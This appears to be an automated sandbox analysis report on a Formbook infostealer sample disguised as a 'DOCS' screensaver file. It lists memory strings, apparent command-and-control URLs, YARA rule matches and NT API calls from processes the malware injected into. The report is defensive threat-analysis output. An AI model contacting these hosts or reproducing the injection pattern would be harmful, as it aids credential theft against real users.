Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: uFLByAWAOFbhtV.exe, 0000000A.00000002.4134964235.0000000005910000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.globyglen.info
Source: uFLByAWAOFbhtV.exe, 0000000A.00000002.4134964235.0000000005910000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.globyglen.info/tni7/
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722359296.0000000005E10000.00000004.00000020.00020000.00000000.sdmp, PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: control.exe, 00000006.00000002.4134255300.0000000006626000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.0000000004656000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.thinkphp.cn
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: control.exe, 00000006.00000002.4134255300.0000000005E4C000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.0000000003E7C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: control.exe, 00000006.00000002.4132398440.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: control.exe, 00000006.00000002.4132398440.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: control.exe, 00000006.00000002.4132398440.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: control.exe, 00000006.00000002.4132398440.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: control.exe, 00000006.00000002.4132398440.0000000002F59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: control.exe, 00000006.00000002.4132398440.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: control.exe, 00000006.00000002.4132398440.0000000002F59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: control.exe, 00000006.00000003.2023052189.00000000080F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: control.exe, 00000006.00000002.4134255300.0000000006C6E000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.0000000004C9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.healtheduction.site/2frz/?3tV=l87n7Q89KFkj22mcQvGyKsY8DOdSYtwW2ZIksm0w5n2yQMdP8QPDEmc5KU

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0042C003 NtClose,	4_2_0042C003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_05612DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_05612C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612B60 NtClose,LdrInitializeThunk,	4_2_05612B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056135C0 NtCreateMutant,LdrInitializeThunk,	4_2_056135C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05614650 NtSuspendThread,	4_2_05614650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05614340 NtSetContextThread,	4_2_05614340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612D30 NtUnmapViewOfSection,	4_2_05612D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612D00 NtSetInformationFile,	4_2_05612D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612D10 NtMapViewOfSection,	4_2_05612D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612DD0 NtDelayExecution,	4_2_05612DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612DB0 NtEnumerateKey,	4_2_05612DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612C60 NtCreateKey,	4_2_05612C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612C00 NtQueryInformationProcess,	4_2_05612C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612CF0 NtOpenProcess,	4_2_05612CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612CC0 NtQueryVirtualMemory,	4_2_05612CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612CA0 NtQueryInformationToken,	4_2_05612CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612F60 NtCreateProcessEx,	4_2_05612F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612F30 NtCreateSection,	4_2_05612F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612FE0 NtCreateFile,	4_2_05612FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612FA0 NtQuerySection,	4_2_05612FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612FB0 NtResumeThread,	4_2_05612FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612F90 NtProtectVirtualMemory,	4_2_05612F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612E30 NtWriteVirtualMemory,	4_2_05612E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612EE0 NtQueueApcThread,	4_2_05612EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612EA0 NtAdjustPrivilegesToken,	4_2_05612EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612E80 NtReadVirtualMemory,	4_2_05612E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612BE0 NtQueryValueKey,	4_2_05612BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612BF0 NtAllocateVirtualMemory,	4_2_05612BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612BA0 NtEnumerateValueKey,	4_2_05612BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612B80 NtQueryInformationFile,	4_2_05612B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612AF0 NtWriteFile,	4_2_05612AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612AD0 NtReadFile,	4_2_05612AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05612AB0 NtWaitForSingleObject,	4_2_05612AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05613010 NtOpenDirectoryObject,	4_2_05613010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05613090 NtSetValueKey,	4_2_05613090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05613D70 NtOpenThread,	4_2_05613D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05613D10 NtOpenProcessToken,	4_2_05613D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056139B0 NtGetContextThread,	4_2_056139B0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD35C0 NtCreateMutant,LdrInitializeThunk,	6_2_04BD35C0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD4650 NtSuspendThread,LdrInitializeThunk,	6_2_04BD4650
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD4340 NtSetContextThread,LdrInitializeThunk,	6_2_04BD4340
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_04BD2CA0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_04BD2C70
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2C60 NtCreateKey,LdrInitializeThunk,	6_2_04BD2C60
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_04BD2DF0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2DD0 NtDelayExecution,LdrInitializeThunk,	6_2_04BD2DD0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_04BD2D30
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_04BD2D10
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_04BD2E80
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_04BD2EE0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2FB0 NtResumeThread,LdrInitializeThunk,	6_2_04BD2FB0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2FE0 NtCreateFile,LdrInitializeThunk,	6_2_04BD2FE0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2F30 NtCreateSection,LdrInitializeThunk,	6_2_04BD2F30
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD39B0 NtGetContextThread,LdrInitializeThunk,	6_2_04BD39B0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2AF0 NtWriteFile,LdrInitializeThunk,	6_2_04BD2AF0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2AD0 NtReadFile,LdrInitializeThunk,	6_2_04BD2AD0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_04BD2BA0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_04BD2BF0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_04BD2BE0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2B60 NtClose,LdrInitializeThunk,	6_2_04BD2B60
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD3090 NtSetValueKey,	6_2_04BD3090
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD3010 NtOpenDirectoryObject,	6_2_04BD3010
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2CF0 NtOpenProcess,	6_2_04BD2CF0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2CC0 NtQueryVirtualMemory,	6_2_04BD2CC0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2C00 NtQueryInformationProcess,	6_2_04BD2C00
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2DB0 NtEnumerateKey,	6_2_04BD2DB0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD3D10 NtOpenProcessToken,	6_2_04BD3D10
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2D00 NtSetInformationFile,	6_2_04BD2D00
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD3D70 NtOpenThread,	6_2_04BD3D70
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2EA0 NtAdjustPrivilegesToken,	6_2_04BD2EA0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2E30 NtWriteVirtualMemory,	6_2_04BD2E30
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2FA0 NtQuerySection,	6_2_04BD2FA0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2F90 NtProtectVirtualMemory,	6_2_04BD2F90
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2F60 NtCreateProcessEx,	6_2_04BD2F60
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2AB0 NtWaitForSingleObject,	6_2_04BD2AB0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD2B80 NtQueryInformationFile,	6_2_04BD2B80
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C79080 NtAllocateVirtualMemory,	6_2_00C79080
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C78BF0 NtCreateFile,	6_2_00C78BF0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C78D60 NtReadFile,	6_2_00C78D60
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C78E60 NtDeleteFile,	6_2_00C78E60
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C78F10 NtClose,	6_2_00C78F10
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6F19C NtQueryInformationProcess,	6_2_04A6F19C

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_0185D9C4	0_2_0185D9C4
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01A70690	0_2_01A70690
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01A77960	0_2_01A77960
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01A70680	0_2_01A70680
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01A77950	0_2_01A77950
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01ABC300	0_2_01ABC300
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01ABC2F2	0_2_01ABC2F2
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Code function: 0_2_01AB9480	0_2_01AB9480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004180F3	4_2_004180F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_00401000	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0040292E	4_2_0040292E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_00402930	4_2_00402930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0040F98A	4_2_0040F98A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0040F993	4_2_0040F993
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004162D0	4_2_004162D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_004162D3	4_2_004162D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0040228B	4_2_0040228B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_00402290	4_2_00402290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0040FBB3	4_2_0040FBB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0040DC33	4_2_0040DC33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_00402590	4_2_00402590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0042E613	4_2_0042E613
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_00402E20	4_2_00402E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0535	4_2_055E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A0591	4_2_056A0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05692446	4_2_05692446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05684420	4_2_05684420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568E4F6	4_2_0568E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0770	4_2_055E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05604750	4_2_05604750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DC7C0	4_2_055DC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FC6E0	4_2_055FC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05668158	4_2_05668158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0100	4_2_055D0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567A118	4_2_0567A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056981CC	4_2_056981CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A01AA	4_2_056A01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056941A2	4_2_056941A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05672000	4_2_05672000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569A352	4_2_0569A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A03E6	4_2_056A03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EE3F0	4_2_055EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680274	4_2_05680274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056602C0	4_2_056602C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EAD00	4_2_055EAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567CD1F	4_2_0567CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DADE0	4_2_055DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F8DBF	4_2_055F8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0C00	4_2_055E0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D0CF2	4_2_055D0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05680CB5	4_2_05680CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05654F40	4_2_05654F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05622F28	4_2_05622F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05600F30	4_2_05600F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05682F30	4_2_05682F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D2FC8	4_2_055D2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0565EFA0	4_2_0565EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E0E59	4_2_055E0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569EE26	4_2_0569EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569EEDB	4_2_0569EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F2E90	4_2_055F2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569CE93	4_2_0569CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055F6962	4_2_055F6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056AA9A6	4_2_056AA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E29A0	4_2_055E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E2840	4_2_055E2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EA840	4_2_055EA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0560E8F0	4_2_0560E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055C68B8	4_2_055C68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569AB40	4_2_0569AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05696BD7	4_2_05696BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055DEA80	4_2_055DEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05697571	4_2_05697571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056A95C3	4_2_056A95C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0567D5B0	4_2_0567D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055D1460	4_2_055D1460
